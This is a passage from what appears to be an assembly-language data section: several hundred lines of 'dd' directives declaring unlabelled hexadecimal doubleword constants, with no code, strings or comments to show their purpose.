dd 8800898h, 7892D131h, 0CD767F00h, 0B001E1B1h, 5CFF4DABh
dd 204B641Dh, 9FD1A080h, 6EEE1816h, 54913C34h, 0C67B838h
dd 8913B520h, 0B80E56EBh, 170BF090h, 5C14BFCEh, 207A3646h
dd 0CB00D778h, 0F2291247h, 4DAB2Fh, 5D97F9F7h, 0AEE57132h
dd 77A9625Ch, 3B802156h, 170CC2C9h, 0B9582A2Ch, 1E307EECh
dd 3121E9CFh, 68DB60E9h, 75856E35h, 4FF17305h, 84041C24h
dd 4801AEAh, 17B91C9h, 0B85061DCh, 37D3CFA7h, 88991220h
dd 0C0DBFD0Ch, 49F500FFh, 167F5D0Bh, 4606C355h, 358DB007h
dd 27970930h, 41B5ABAh, 0BA2A65C3h, 8448A8ECh, 0B4D10CD4h
dd 0D2E10BEh, 3B312003h, 20744760h, 19539257h, 0DFFAB113h
dd 7CA6184Ah, 3805B912h, 8C01B81Bh, 0C391986h, 797F5841h
dd 0D2280432h, 511714C4h, 330DCC9Ah, 34282D4Ah, 0F8F2AF80h
dd 7E9160C0h, 9624270h, 136916B8h, 40375407h, 7C043088h
dd 0B227E00h, 6FC7A4D9h, 0C201C44h, 18058336h, 6000902Fh
dd 16E6E304h, 2E29A132h, 0E57C060Dh, 31C088B6h, 0D0969E28h
dd 6D16FF00h, 1A3A7D4Fh, 0D1CB3FCFh, 2DFD5881h, 0CCD930BAh
dd 0E3E041B9h, 38995503h, 8BC8B3B7h, 0FFC0EF32h, 48E0AEFDh
dd 0CE013C71h, 0D033D1E2h, 520880EAh, 0BFAE7651h, 0CE50C7E4h
dd 536C1D2h, 41308302h, 0ECD58A6h, 657DB648h, 4555A280h
dd 0B578C120h, 53311A1Fh, 0F9175A00h, 2DFEBCh, 92223037h
dd 4A6B80F3h, 0C2C85614h, 0F6B40148h, 6272A645h, 0F9081081h
dd 0EC950659h, 110096D0h, 990BA753h, 26A7433h, 0A5AC51D4h
dd 8886C2A0h, 1F0178BBh, 0B90A3706h, 0A89F2229h, 0AE00E005h
dd 71F96F6h
dd 0B85A44Eh, 0E275B876h, 0F8D8548Dh, 0A8C7887Eh, 16C17DCFh
dd 109ECEAAh, 0AE0380FAh, 0A7A595F5h, 97502560h, 1E223731h
dd 192617h, 4A0C382Dh, 910A8F03h, 7055EA6Bh, 0DB049264h
dd 9EB60728h, 0AA51A511h, 0A7B3C080h, 0B701112Ah, 0DF9C780Ch
dd 1050884h, 318DB5AFh, 40C3C8BAh, 26CF0428h, 0C0757D3Fh
dd 2E35052Dh, 75DB902h, 4245B7C0h, 36606D33h, 0CE16F091h
dd 3F0F1B1Fh, 7923C0BBh, 10CB448h, 0BCE25DD1h, 40976555h
dd 0FFA3D0A1h, 598223Dh, 0ED334E9Eh, 0DE38A001h, 0DAC43047h
dd 503090C1h, 18DDE498h, 0C9A0EEA4h, 90C045ADh, 0D1F2D0BAh
dd 0A1824AEh, 88C6141Ch, 0D8302106h, 0FE0040B5h, 25C55275h
dd 62423EA6h, 81FA30D2h, 5A59A00h, 0BE0CF6Ah, 19CA2900h
dd 58069720h, 40ACAEB1h, 602F628h, 0CE301DD2h, 7E0058A7h
dd 865A0B20h, 1936681Bh, 4810C2A5h, 63C4D0D2h, 0BC530700h
dd 4CB51ECBh, 0AB76006Bh, 0F0787D3Dh, 0FD1EB8B3h, 200C0BB6h
dd 92111F2h, 6534C8C6h, 4EDE1C07h, 0D27CA5A3h, 0A92E5801h
dd 0CE2BFDA4h, 50B42020h, 5062F8F5h, 920C8CA3h, 6DE50034h
dd 55D9CD65h, 0D13CCA76h, 84E214CCh, 0E3A53CC0h, 0F0A8B331h
dd 13286FF8h, 0BAFA718h, 0EF815417h, 20448A30h, 891BC04h
dd 9E04B61Fh, 0C48199FDh, 0B442071Ah, 42AD60B5h, 0C1B7011Ch
dd 59F8DDA2h, 0AE9840CEh, 0A0A07E65h, 3913D3A3h, 27856h
dd 48E34D64h, 0A931CE08h, 998AFEF0h, 41F0FB07h, 40985C30h
dd 1C8687B8h, 28B63B03h, 0A785759Fh, 0E2AE01AFh, 99FD3018h
dd 1BBF2887h, 0AD6A8353h, 0D3BA1000h, 6F1ABB3Ah, 984900AAh
dd 32CF683h, 0E10092AFh, 869CC44h, 3739A1h, 6728463Ch
dd 9EA9A515h, 0A6D390C1h, 80F62930h, 0AF347084h, 98B1493Fh
dd 3C73AB00h, 0AEF544DFh, 18923332h, 4F4C48CEh, 0A0C8C2F1h
dd 0A4466F7Dh, 17023004h, 0C0A273h, 5456911Ch, 2616B434h
dd 0BF68877Fh, 8680884Ch, 4A9563Ah, 2A6C11C8h, 0F1234C78h
dd 7C1B9500h, 24C08B97h, 5A137D03h, 13998982h, 58AF07F0h
dd 91C89004h, 0F10B6C02h, 40B02F66h, 0EC367B2Ch, 0D601073Bh
dd 0B847A648h, 0D8CC980Ah, 0B406030Ah, 21139210h, 2E8801BDh
dd 0AB4CED17h, 0E500F458h, 0AE681E7Bh, 14F240Ch, 626E1064h
dd 60BD2821h, 541A7D20h, 0FACF8C53h, 97B609E3h, 3C10C4C8h
dd 0B9C03F16h, 179ED007h, 9073508Ah, 3635003Ah, 7E99972Eh
dd 431CC76Fh, 2152AEBDh, 411EFC00h, 597206C8h, 30390839h
dd 0AC5CBBACh, 0B25B0A67h, 0C09B09D8h, 0A3A97418h, 2177FD09h
dd 66188476h, 7E4C882h, 9255946Bh, 0B8403470h, 0C30789E3h
dd 4233E7EBh, 15AE16D1h, 0C81DB080h, 0DC48A78Ch, 32100405h
dd 0E00C3E98h, 1FB58D0h, 23920255h, 34DBE130h, 2700282Ch
dd 6EE28C9Eh, 9303203Ch, 0BEA60604h, 9100A9CAh, 2178CDA0h
dd 0F8D97C8h, 16CC5227h, 3906C6Ah, 3DEC3008h, 1B3826h
dd 0DE1898A6h, 6481CA1h, 21AF0CB8h, 0E0986033h, 0C1B54913h
dd 1AABC800h, 657EEC41h, 88BA50A9h, 0D53030F8h, 0B719100Eh
dd 4C0C90ABh, 7E0418h, 206270F3h, 2650E2Fh, 45CD0709h
dd 0CA58A3E3h, 17210CF2h, 658614Eh, 5054CE4Ch, 88CE05A0h
dd 5A966097h, 98F99956h, 0AA441534h, 801B40B9h, 8CB410DDh
dd 0A8924014h, 5A073707h, 0FDE004B2h, 6372AE82h, 8AC6C0E5h
dd 0E880CFD2h, 0A08CAF6Fh, 33F70A02h, 68521704h, 0EA7C123Ch
dd 6E90BCh, 96216F05h, 1C0CEBBBh, 0A4AEE300h, 0D741A6Bh
dd 35A30B08h, 438C3075h, 33243790h, 144F4B6h, 9B5C8C2h
dd 60307400h, 4239B887h, 83E0486Bh, 0EECFAFh, 0D23348A0h
dd 8DA59FB5h, 0F61E4CB2h, 2F18C876h, 77A6AEE9h, 5334072Dh
dd 7AFD0h, 0C0108AFEh, 0FDF83012h, 64152440h, 0F8E8CF4Eh
dd 257D021Eh, 0B2A33843h, 70FBB486h, 35D77400h, 68C9C2E2h
dd 42C6092Eh, 740F8331h, 859B5560h, 0B483818h, 1A079640h
dd 0BACF30B5h, 24E096C8h, 81184816h, 81F9521h, 75CCCCFCh
dd 979B641Ah, 34F8C9F8h, 25661701h, 80E5E3E8h, 24783110h
dd 0B4A29492h, 0D9863DDh, 0ACD63010h, 462041E0h, 7C3200A5h
dd 9C08B9EFh, 147E80E7h, 0FE5198E6h, 78E0BB76h, 68343926h
dd 7D300402h, 0BF646BF0h, 1DFE2C80h, 29F0031h, 0CA397198h
dd 0E6E0AE97h, 269158C0h, 0A0641Dh, 21F705F3h, 6F9E1703h
dd 957CFE54h, 50B02A4Dh, 240C0C30h, 68D9ED30h, 40C8B0D4h
dd 6D116478h, 8210BCE2h, 84BB0287h, 40152630h, 297DA4h
dd 0DBC185A9h, 171F39B6h, 0F1C58E77h, 884531F7h, 0CC14057Ah
dd 5B6B1856h, 0B8A30680h, 28389934h, 51E0844Ah, 0C871EC88h
dd 61702464h, 44AF29B9h, 8CC0ACE9h, 0A09D3B0Bh, 43F2F614h
dd 30130C94h, 8748471Eh, 1CC38B0Ah, 0DC229C86h, 0F2206490h
dd 1814F8E6h, 50CADBB0h, 6E20A597h, 0B2732E9Bh, 85AE085Ch
dd 38032D12h, 131280A5h, 3CC9788h, 0A005FE18h, 87D424E1h
dd 0EF236A19h, 26116E40h, 0B601FBCCh, 6340885Dh, 0A22E005Fh
dd 0B7672D9Eh, 0A6BD9C0h, 432F3Ah, 9133C748h, 1EA2FD7Dh
dd 4546490h, 361C898Ch, 48D8693Ah, 81C0E2B0h, 5808A8E3h
dd 8D81B49h, 28FD0A37h, 0D72939B4h, 20AF02FAh, 0F74F1F99h
dd 6F0310CCh, 6B274BAEh, 0D0B1584Ch, 7525263Ah, 19857090h
dd 9AA2B016h, 0F9484800h, 0D0357E1Bh, 2085B0C0h, 88D4D5D0h
dd 8F4CC690h, 99C31820h, 0E108E39h, 7915E907h, 0A48E3A1Ch
dd 3323FFD1h, 0BCE9243Ch, 891A8169h, 4C181E1h, 0FD760EB8h
dd 41870642h, 0DBE75C5Fh, 573E0DF9h, 0D31F01BFh, 3F02D3D7h
dd 0D3660E03h, 0D39C2404h, 686D0D6Eh, 876731B0h, 4EC834Ah
dd 0C06F1C67h, 1D8B593Fh, 9CE9185Bh, 0FFEE2918h, 5D243400h
dd 6804C483h, 6F4E3CEFh, 0C7815F00h, 73775BA6h, 7EF7293Ch
dd 868B08A1h, 5566E936h, 748FF391h, 0F4D95457h, 0DE9FFC50h
dd 0B9519AC0h, 8174B7h, 59CA291Dh, 23E9D701h, 5820FB67h
dd 78ECE763h, 1C77060Ch, 0E659669Dh, 0D0FB11EDh, 0E52C3101h
dd 8B069F33h, 0EED2BCBFh, 81003125h, 0A45F6FEAh, 537D5B2Fh
dd 1AF7A630h, 0ACD830ACh, 85A6CA8Dh, 83C490C6h, 1D8BEA29h
dd 0B1A8E958h, 4302B93Ch, 0F142CD0Fh, 0FF550F1Ah, 5D0F5E74h
dd 2A50748Fh, 0FE8C866h, 32C8B63Ch, 2F92AE51h, 46D714EAh
dd 0BCEF3B54h, 1FE90D06h, 91D8D5D9h, 2F870F0Fh, 0A81CC101h
dd 6765FA08h, 63468423h, 0C0C2784h, 385EF109h, 0B7031FE4h
dd 88978CFFh, 0D90ABF1Ch, 0F37D6C37h, 923EE600h, 0CE7C15Ch
dd 52B9E903h, 0A31E0526h, 18FBC0Eh, 87E286C8h, 0C316A918h
dd 0C2565EE4h, 0BD555C12h, 0EB018590h, 1C875D14h, 0D0F09C82h
dd 49AC6851h, 18643E13h, 0C1C1081h, 0EEDB85E9h, 5EE1EC1h
dd 1F754A56h, 0CDD89DBAh, 20E734Bh, 5E41C0A5h, 0CFEDEC87h
dd 0ABA36C9h, 4A01CB36h, 3425F281h, 34C12CF8h, 40607E2h
dd 8E0B89A9h, 0E337DC6h, 0B9E01B42h, 0CF921E34h, 1924E8h
dd 50D2BAD5h, 39903CB5h, 0AB44DC41h, 620C7EC6h, 0EC81EF66h
dd 0B4012E8Ah, 110B3572h, 0E9899C31h, 43C73B2Ah, 2B5074C7h
dd 260BEB8h, 0E4B8502Bh, 2F5E0251h, 1133E948h, 28C76248h
dd 121F603Ch, 0DA10CF29h, 30E93F08h, 0C15AA2D7h, 311007E8h
dd 8D5452C8h, 1D4A2350h, 0FC22EEAh, 88C2015Eh, 1CBF08EDh
dd 376886E9h, 92831B81h
dd 0FE00870Ch, 0FC0095Ch, 80673584h, 53EB401Eh, 0B0367CBBh
dd 5C312F14h, 404049FDh, 8D54B8A0h, 5AC1DF83h, 3E074B0Dh
dd 99204FBh, 8418E430h, 10F75209h, 21849542h, 0E9C990C8h
dd 0E8910A38h, 6885494Ah, 0A8387229h, 5EF32601h, 4EC10A6h
dd 515AD031h, 0FD52C2h, 47B6EB81h, 3E8023Bh, 522DCFC2h
dd 180C7F26h, 0A8764D06h, 430D581Ah, 1CDA292Fh, 801C0806h
dd 49CDE914h, 1550FED3h, 68690FB8h, 95BFA059h, 0A26A9964h
dd 0E68902B0h, 0B59BC681h, 323408B4h, 9408CEB4h, 7613C315h
dd 99724882h, 0BC31817Eh, 261A1870h, 48CE2110h, 307B759h
dd 5181DEF7h, 201E605Bh, 8B0CF660h, 1849467Ch, 0EF4F049Fh
dd 82F0293Ch, 50C3E805h, 83D5CC8h, 0A8F78104h, 0F4C7F26Bh
dd 937C33B0h, 78DFF607h, 0EA0450C1h, 0B5E41883h, 53732E3Bh
dd 47252C19h, 0E02F1330h, 0F8580190h, 0D5AE4921h, 0C331878Bh
dd 56E9C220h, 11A4936Fh, 2A093E01h, 384A11Ch, 0E9162384h
dd 0A62773F0h, 0CDC888C8h, 0F5098712h, 54DC235Ch, 6343F159h
dd 0CA815A00h, 6A2C1C71h, 0FC08740Fh, 73A120CFh, 8BDEC087h
dd 89AE5FCAh, 134F874h, 76C785C3h, 0BA00F364h, 70BD48BEh
dd 8950570Eh, 58C747D0h, 5FFE53h, 0B746C668h, 0F7018F42h
dd 82B05E48h, 0AE4BF368h, 81E5627Eh, 206666C5h, 0B9004A60h
dd 3534759Ah, 0C19EF181h, 59CB010Dh, 0E05A7057h, 88538CC3h
dd 5BF891D7h, 8A389420h, 86884E66h, 0F4C6C588h, 152266F2h
dd 1634AA68h, 50BFB203h, 0C283B1B0h, 4778EE18h, 12882D20h
dd 711676h, 0B2E1C27h, 0C668014Fh, 9E2408E8h, 75AAFE23h
dd 5AD2E91Ah, 0CA899610h, 42170250h, 8DA0665Ch, 0F511E952h
dd 0DA5CB792h, 0E3497D08h, 2EBC996h, 16B3009h, 0C880C228h
dd 587566EEh, 0C003CA7Dh, 53E905EAh, 0BB4C01E1h, 64C36069h
dd 3055C54Bh, 83C8368Bh, 1E9C241Ch, 15E28FD5h, 0AD8CD4E6h
dd 1861C73Fh, 8F0C6B07h, 63F4063Ch, 0E124A1E9h, 0E788CC80h
dd 189A6082h, 878B8D27h, 0B5321835h, 0EDC006E4h, 0ACDFE04h
dd 0C580030Eh, 8DF560FFh, 0D2493DE9h, 85D22730h, 2FE52242h
dd 0FEE1622Dh, 0A1CA65A2h, 0C753A16h, 0FCE89D0Ch, 5920D233h
dd 345C0D2Eh, 660E51B1h, 8E2943B9h, 10BFC257h, 0FECE8091h
dd 9A1D71E9h, 78F34C43h, 2A6DCC9Eh, 4900BE16h, 0B81C9910h
dd 262F0A72h, 3E01E8h, 7955872Dh, 0E016C14Bh, 81084008h
dd 0D9B6022Bh, 0C3C2F328h, 81C45EA4h, 0CB80C30Eh, 798A68F0h
dd 0E91998A6h, 0EB871210h, 0C1131136h, 0DD6C14E3h, 7FDF9F02h
dd 56C25F29h, 0A756D006h, 9CD7F72Eh, 0BE40081Eh, 0B9C30DFCh
dd 55E9F829h, 0EEDC98CEh, 90B3985Dh, 12D4EC83h, 156E40Bh
dd 3AD6B862h, 574164C0h, 0FAE40198h, 4198829Ah, 46C7397Ch
dd 0B580BAB0h, 51E5C059h, 0ED03F003h, 0CDED9B4Ah, 592046C3h
dd 1AD4322Ah, 2EE95FB0h, 5B0C0F66h, 124A36Bh, 0AFCF81D3h
dd 314E317Ch, 0F7C8D4CDh, 0F829C503h, 6E7D52E9h, 0E76F3659h
dd 0D2E4B444h, 0E2E1D180h, 241B2425h, 92ED59CBh, 96B90A8Ch
dd 48F6BD09h, 4C171ED5h, 0E818B139h, 0D5C38343h, 20B97B1Dh
dd 8A8F382h, 0DA594077h, 0BBE361E9h, 244CFC68h, 1445DE82h
dd 1AE0E8ACh, 55990650h, 1B99232Dh, 493CFB5h, 307CB031h
dd 2CF781C7h, 0CD347CDh, 89413CEEh, 62DC52F7h, 4F32D61Eh
dd 5F8FF901h, 12CA21C5h, 8C5296Eh, 29968706h, 1D8A7E0Ch
dd 8638076Ah, 0FC215B7Bh, 0F748550Eh, 115D315Ch, 0C1EC42FFh
dd 6005FC62h, 67E00881h, 0E9185304h, 554A7557h, 0BB5E905Ah
dd 0E1E9053Bh, 6B86CA16h, 1F930A5h, 835826C5h, 5CA5321Bh
dd 0BA52F0A0h, 0E23C1FA1h, 4AD7AC5Eh, 3879E701h, 60307CBFh
dd 3D4F16E0h, 0E3E34116h, 0EB249750h, 35A2E9C1h, 0F7C22035h
dd 0E7D14E54h, 946B1C94h, 7EB90293h, 492B0315h, 86FF31E1h
dd 5FF92903h, 21DF0412h, 0BF534597h, 4FFC5880h, 0B7CB0081h
dd 0C1557207h, 12DC06EBh, 0CF0041Fh, 2439FBC3h, 3290BE0h
dd 0E071BF4h, 13BB180Eh, 0DF01650Dh, 0E9F9C402h, 28114848h
dd 905B0E2h, 0D030584Bh, 4FB82A89h, 0E7C098E9h, 0E503BA2Dh
dd 109BA005h, 0A510073h, 0E281DAF7h, 0D62472BEh, 0FB01797Eh
dd 4A2BB542h, 321260h, 0F735B32Dh, 0F5814DD5h, 0F85AE00Ch
dd 0FF252CD3h, 0ED0159C0h, 840C2F9h, 5CD0295Dh, 503C75Ah
dd 628545E0h, 5E4200ADh, 1C9AEB81h, 68077804h, 918C694Fh
dd 1E200B8h, 1035181Eh, 2B759575h, 710A8600h, 0E9C32913h
dd 0DF565209h, 3D4CBB10h, 3C44CF66h, 0FF14C932h, 1E8EB11Ch
dd 0C2E0D2E1h, 0AF693189h, 0C00E3576h, 0EB2580CBh, 9D422DAh
dd 435A0259h, 4A03D987h, 7A4802EFh, 0AB6212DAh, 8C7DD00h
dd 2060740Dh, 4896CF0Ch, 0FB291CFDh, 1209E65Fh, 0CAD2849Ah
dd 375724ECh, 0FFEF8350h, 982596A5h, 3934CAEEh, 330ED09Dh
dd 40D37218h, 25445E0Ch, 94010C21h, 0E92248C6h, 0FDB0073Dh
dd 7A89A4B3h, 0D12902F1h, 28A7E95Ah, 0AAB28F79h, 0FB09CB83h
dd 0E8FFC25Dh, 50424A5Ch, 3F2F1D1h, 74F83512h, 4610D731h
dd 33242791h, 6ED3D3Eh, 4D30390Dh, 258848D0h, 540A1006h
dd 491905Dh, 62C51BC0h, 0BD098343h, 0DD010F03h, 345190E9h
dd 161C5932h, 20616585h, 0F078EFC8h, 0E9813200h, 0E66D988Eh
dd 59CF0401h, 0C05FF831h, 457FE226h, 0DDE92F12h, 0C5640D84h
dd 36EF64C1h, 53801428h, 41D46850h, 58003B72h, 0E62DD0F7h
dd 40FE873h, 7033CD25h, 55298374h, 0EAC1A513h, 0EFCACE00h
dd 9065A306h, 6772DEAFh, 19C9BD1Bh, 9E553C34h, 465B7F09h
dd 0B449F20Fh, 0DC801F3Eh, 7EF1C568h, 0A86081F6h, 80443805h
dd 154A13EFh, 1061FB09h, 529FAA36h, 0E9384251h, 94E52E0Ch
dd 3388C018h, 51C38250h, 322201B9h, 145990CFh, 966AF342h
dd 0D4693A06h, 2EBD0914h, 5A80179Ah, 55535FFDh, 1374C2A0h
dd 31479D0Ch, 51589A44h, 7970E58Bh, 423A33E9h, 20796CDBh
dd 0E912A14Fh, 0FBFCAA00h, 0B9FE316Fh, 37659209h, 38148228h
dd 62B0DA65h, 9A5DBE68h, 1AAE2088h, 4FB2879Eh, 43B87951h
dd 51031BF8h, 0A7345BEEh, 2C80279h, 0D374F36h, 0F32CDC0h
dd 2BEB3500h, 0D8F71090h, 0A18A0005h, 0C601B459h, 5EF60958h
dd 0C70741B0h, 0BA65F9FDh, 74C1FEA5h, 660017C6h, 491DB252h
dd 5A93D388h, 1C5F460Eh, 0E98FE9CCh, 0F9709BEh, 0EA0014CBh
dd 40025198h, 57BAE974h, 0F50B5BB4h, 0E440A215h, 7EAA661Bh
dd 0F2B72454h, 2CC7982Bh, 0F78029F6h, 8021B8D9h, 3FAC2B80h
dd 0D590BC3Fh, 265A2E30h, 581E9A24h, 1A4DCEC9h, 91E6C594h
dd 0EF5A2483h, 0B54ACF01h, 1860F75Ch, 0F9309E3h, 0E8007A28h
dd 713C3B8Bh, 83FBE913h, 54504560h, 5D2A9058h, 0B428113Ah
dd 0F10D2685h, 90DEA2DFh, 0AEC09EF3h, 1DCF00BDh, 0E8015898h
dd 16E26812h, 82BB0332h, 0F045E90Fh, 53590746h, 0E78076B7h
dd 26F73002h, 5B73F830h, 4A6EC649h, 35E9E928h, 0A18AD2B3h
dd 6167E088h, 454B8C9Eh, 2EE91FBFh, 8ACA414h, 77203D75h
dd 0F26A682Ah, 0FE691DFCh, 99804828h, 775BC52Bh, 0B4C98028h
dd 5701CE4Fh, 0E906E5C1h, 22836013h, 0C8288B2Ch, 227825C9h
dd 2A5590DDh, 1E90EB86h, 0A2B0C05h, 6BA45D09h, 6E0E0C7Bh
dd 41B25B11h, 61CEAEA9h, 0D73B40E9h, 1F5B3302h, 22688102h
dd 3ADCCC03h, 0F2123B3Eh
dd 0E97D0329h, 20167C83h, 0A80BCC88h, 9455A8E2h, 4A4B5A93h
dd 147A0453h, 94E131D8h, 0D6804D4h, 78EAA237h, 491F7709h
dd 0F1A0024Ah, 14150A27h, 83059CC5h, 8B8702C2h, 6E285A41h
dd 5DE76BE9h, 0B3682C92h, 7FC52030h, 87B26461h, 4E2000D3h
dd 121C950h, 44E5EB78h, 886DC408h, 0B7BC5B30h, 0F8F0E962h
dd 2059769Fh, 66176BA5h, 5D22BB0Fh, 0F6E46890h, 0F48007DCh
dd 0C3E5882Ch, 182E4F52h, 62088009h, 0C505014Ah, 0D420970Ah
dd 742F73AEh, 0A19BAA35h, 1452F409h, 0C2090F06h, 21B6E2D1h
dd 82367A0Ah, 471E2BF1h, 0E8EDC17Ch, 0D729AA80h, 565FFA87h
dd 5508BE09h, 2DDB0280h, 0D4BF005Dh, 260EEF1Ah, 6181D7F7h
dd 390C2E8Dh, 0EF844521h, 0A65F5457h, 870644ADh, 1913C52h
dd 65316855h, 0C3921956h, 819D40CCh, 0D12824C2h, 0FA015C00h
dd 315A0A33h, 0C1EEA14Fh, 20952AEAh, 60EE58B5h, 9805AD90h
dd 0A568B843h, 0F25D6974h, 62199A2Dh, 0DFBE5A14h, 53F15307h
dd 0DD9D0CA0h, 6BF653A4h, 28023009h, 7E0A095Bh, 0F71914E0h
dd 0C2910D33h, 8067446h, 1D5F38E9h, 2CBE8855h, 4494BF00h
dd 814ABBh, 122556CFh, 7E7C127h, 0B03E290h, 31691AC2h
dd 0E9A516FBh, 0B36A8528h, 938C6042h, 9016E079h, 2A66025Eh
dd 0B2E93A9Bh, 0F3902758h, 85825F59h, 0CC260C87h, 6E1F7134h
dd 0E8C9D85Dh, 2966EB03h, 0E9C1A0E5h, 40B8574Dh, 24BCF444h
dd 46B96806h, 12CC30E5h, 111EF0D9h, 0DA4F5930h, 40377828h
dd 7480031Dh, 44BB5CF7h, 5026964Ch, 47EE12F7h, 0D402C7F2h
dd 5ABBD07Eh, 189CBA52h, 839AD347h, 6F256616h, 0D14F82h
dd 2D89685Ch, 0AFBB0CB1h, 244E1EE3h, 45CC315Ch, 817AA03Fh
dd 0CCE4F101h, 0CF89AF52h, 0E9C2AE38h, 20023E5Bh, 8504C5E8h
dd 52114768h, 4688D83Eh, 39A4D0B2h, 0D1A2ADB2h, 5C4C9DBEh
dd 0A3F2085h, 0C92573B9h, 20E61F98h, 11665B27h, 0A917020Eh
dd 31E40A02h, 0BAB83FE3h, 45F704AFh, 6C5708A0h, 55C38B3Bh
dd 82208653h, 0F95C52BDh, 21E79829h, 2DFAACBFh, 6214F731h
dd 58C21FC4h, 81DF0AEh, 30DDACF9h, 0E9105418h, 51719AB6h
dd 0D2289C33h, 0D4EC0C6Bh, 2BE76818h, 8262F35Bh, 84AA740h
dd 0B4D02180h, 0C10441AFh, 0A75E9AE8h, 9A16812Dh, 3C60DF5Eh
dd 8078402Bh, 0CBE04CECh, 0E087594Ah, 4CC5C9E6h, 2047D5Dh
dd 821F5A5Bh, 100EDF7h, 52575EF2h, 8100AABFh, 0BC30B2EAh
dd 0AF4BE91Eh, 0F7456580h, 5F63F0D5h, 61D741C8h, 38ABB8C0h
dd 697851ECh, 480C6BB6h, 5E1BE9C2h, 0A203240Bh, 169597Eh
dd 20053179h, 0F221E3C1h, 625ADCCh, 42E92DFFh, 5B4C3A77h
dd 0DE3C9FF8h, 81D19824h, 0F3053C25h, 7FEB02B1h, 8C60EE40h
dd 0E7DFCFFh, 6865C136h, 0BDED8CF7h, 2D0A0200h, 0E9EE01FBh
dd 0E20F95C6h, 2538E2ECh, 2101B698h, 6B41CE81h, 0EED87379h
dd 0C6F6861h, 70F760A1h, 53027850h, 0AF8F0DBBh, 0EA858B87h
dd 0F2C084B4h, 0A943B512h, 9AE3B60h, 13848A97h, 68094DA2h
dd 514476DEh, 4AC92E9Eh, 19F34C46h, 6CD651E9h, 33109231h
dd 0D78CB357h, 2AEC9359h, 0C2262690h, 21F48878h, 201C6188h
dd 0C2DE0CEh, 0DBF75292h, 4905F310h, 0ECE96676h, 51572590h
dd 4BBA3FB9h, 0CA206A25h, 8BD94DBEh, 0EC4AE790h, 0E509CD89h
dd 30669EA8h, 0C81C8BFh, 2768CE45h, 0A451F9D0h, 0D9DA122Eh
dd 4D3A2611h, 89605D19h, 73050C8h, 7C16BABBh, 0B899A438h
dd 88765888h, 0C070E35Ah, 10256A43h, 8B1416B7h, 116361Ch
dd 4B5F8AD7h, 85E016h, 0E98CD185h, 0C08D2D3h, 0AD653ECBh
dd 21DB6811h, 3845CB10h, 0F86BF741h, 40A84A73h, 52888F4Eh
dd 0E90878C6h, 0C006146Ah, 20606E0h, 80AE3408h, 0BCF8C4C2h
dd 581AEA75h, 0F1FD64E9h, 948EB52Ch, 4812C0E9h, 1C4CEC5Dh
dd 0DA5113C5h, 581620A6h, 0DC2D2118h, 918906BFh, 215013EAh
dd 157ADB3h, 0D452FB01h, 7194B25Fh, 0B85ECC8Fh, 9B3C5D77h
dd 0E9C50B7Bh, 0F642A02Eh, 63F780D7h, 42EF0BDEh, 0E9300605h
dd 0A34C257Ch, 9E5F9990h, 620CD9EFh, 0AE532653h, 3D271502h
dd 247F7812h, 0C2C8362Eh, 8CC55451h, 881FCAA8h, 0F740036Eh
dd 53E948D0h, 0A087B1DDh, 0CF217FBAh, 4EB5E2Eh, 0E82672A8h
dd 4DE989B2h, 4FB93E40h, 43802403h, 251BD55h, 5DEF890Dh
dd 21BBCF29h, 3E61C601h, 0D001114Fh, 9ADE2770h, 4A20F16Dh
dd 0F5B2A68h, 43792A93h, 5EF72CCFh, 8857C4CFh, 5C895F8Dh
dd 34E9C630h, 80CB6FBCh, 0D45F8550h, 21287273h, 0C307EEFBh
dd 0CF83BC80h, 43BDD894h, 12C3684Ch, 0D093C831h, 851C2A3h
dd 0B50B2B7Ah, 0B898A329h, 0B4896124h, 38081668h, 1DBA8DDDh
dd 7B8EC288h, 49FA310Eh, 0BC4128D7h, 81E38B66h, 44E051F2h
dd 9EBCBA13h, 10B94259h, 7F8F40E8h, 1831E83Dh, 0EE812B37h
dd 0EE584C5Dh, 80601C1Ch, 5BDE29AAh, 6A54EDE9h, 0C09E5985h
dd 764CC2h, 61B35350h, 6E5B038h, 0C8FE5BD8h, 8463314h
dd 0E9D9F610h, 24757874h, 0C83D0F40h, 589DC206h, 20B74411h
dd 8160BE25h, 0BC20E4BCh, 50C2B030h, 265F07F3h, 0CF51D831h
dd 6468C301h, 48253357h, 4ABD20C8h, 52961E5Eh, 8A9BC596h
dd 47D992D9h, 0FD2002EAh, 0C0000466h, 0D2F603EAh, 71CB551h
dd 0E580C5FEh, 82AE3EDEh, 900EF5C7h, 0EA307BEDh, 0E204597Fh
dd 723AE9A6h, 56479488h, 6609851Ah, 5CF2D259h, 0BCC19F6Bh
dd 49E92633h, 3A6880FFh, 5D6DEF21h, 1945548h, 1D787B0Fh
dd 2645401h, 2212905Eh, 521B1938h, 0AFC8AEB2h, 0A83E0A39h
dd 8835ED0Ah, 58350493h, 68098BF6h, 974433B3h, 7C2DE91Bh
dd 6187B8CFh, 99AD58C3h, 0F4638C04h, 10BCC746h, 0E903A911h
dd 4040F524h, 0FB68C282h, 83567972h, 3CE36473h, 0A3E91E1Ah
dd 0D362645Bh, 68390292h, 83A2071Bh, 0CA0A6FB6h, 0CFB90E28h
dd 0E025E623h, 3F78BCDEh, 0C6023D1Bh, 38A46CD8h, 9E3D3751h
dd 915C50C9h, 3E1C1C7h, 5237619Eh, 680014F8h, 657FDE04h
dd 8407E627h, 0EB8046B8h, 5CE40369h, 0CE0FA461h, 2901927Ah
dd 345FE9C6h, 0CF0788D8h, 0BA685859h, 623CBDECh, 1661CF0h
dd 34F29741h, 4E6C5A8Fh, 10A505Fh, 10330BBh, 61835EF5h
dd 4BBD3695h, 277DD1D1h, 0DCF18801h, 0D7D85F14h, 3901C92Ah
dd 2CEF6BC6h, 0C10AEA5Ch, 80CEFC0h, 0BEEBF668h, 46F5B7FFh
dd 0E9121129h, 4B5DBCC0h, 0CB1289Fh, 6A90A6B7h, 7F814E11h
dd 303B0F65h, 5021D9CAh, 102C194Ch, 29130C31h, 4CA803D3h
dd 0BC12B544h, 0D178E082h, 0C90EBC57h, 0F38AA3E5h, 0D0C0F762h
dd 4FA59136h, 0C26BC001h, 993C0F0Dh, 3CCAAC51h, 0C87DD903h
dd 63F5F217h, 2946E8F6h, 405D58EAh, 3F491EB5h, 0D335B81Ch
dd 0BBEE0873h, 880E8624h, 0E6DC4CD3h, 35526728h, 4B168EFAh
dd 0F248C056h, 71EF03F7h, 2A72EDBAh, 98B97E14h, 32B2696h
dd 0D5F760C8h, 948CE953h, 0DF97F9F4h, 0FC824652h, 0C1A67E5Fh
dd 782C8BEFh, 5A83B3A1h, 681C900Ch, 9AA679D1h, 4DF6E926h
dd 208A419Fh, 14C0A846h, 174B8D16h, 8A090FE9h, 0B4C260EBh
